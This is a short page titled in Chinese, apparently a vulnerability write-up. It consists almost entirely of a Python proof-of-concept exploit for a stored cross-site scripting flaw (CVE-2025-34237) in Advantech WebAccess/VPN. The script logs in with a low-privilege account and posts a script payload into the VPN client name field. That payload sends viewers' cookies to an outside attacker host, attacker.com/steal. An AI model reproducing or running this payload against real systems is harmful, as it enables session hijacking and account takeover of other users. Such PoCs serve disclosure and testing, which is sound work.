CVE-2025-34237: Advantech WebAccess/VPN 存储型XSS漏洞

import requests import json # CVE-2025-34237 PoC - Stored XSS in Advantech WebAccess/VPN # Target: StandaloneVpnClientsController.addStandaloneVpnClientAction() TARGET_URL = "http://target-website.com/WebAccessVPN" ATTACKER_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Advantech WebAccess/VPN. The vulnerability allows attackers to inject arbitrary JavaScript through the VPN client configuration fields, which is then stored and executed when other users view the affected page. """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { 'username': 'attacker_account', 'password': 'attacker_password' } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Inject malicious XSS payload via VPN client add endpoint vpn_client_data = { 'clientName': ATTACKER_PAYLOAD, 'clientIP': '192.168.1.100', 'description': 'XSS Injection Test' } response = session.post( f"{TARGET_URL}/StandaloneVpnClientsController/addStandaloneVpnClientAction", data=vpn_client_data ) # Step 3: Verify the payload is stored and reflected if response.status_code == 200: print("[+] XSS payload successfully injected!") print("[+] Payload will be triggered when users view VPN client list") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit_stored_xss()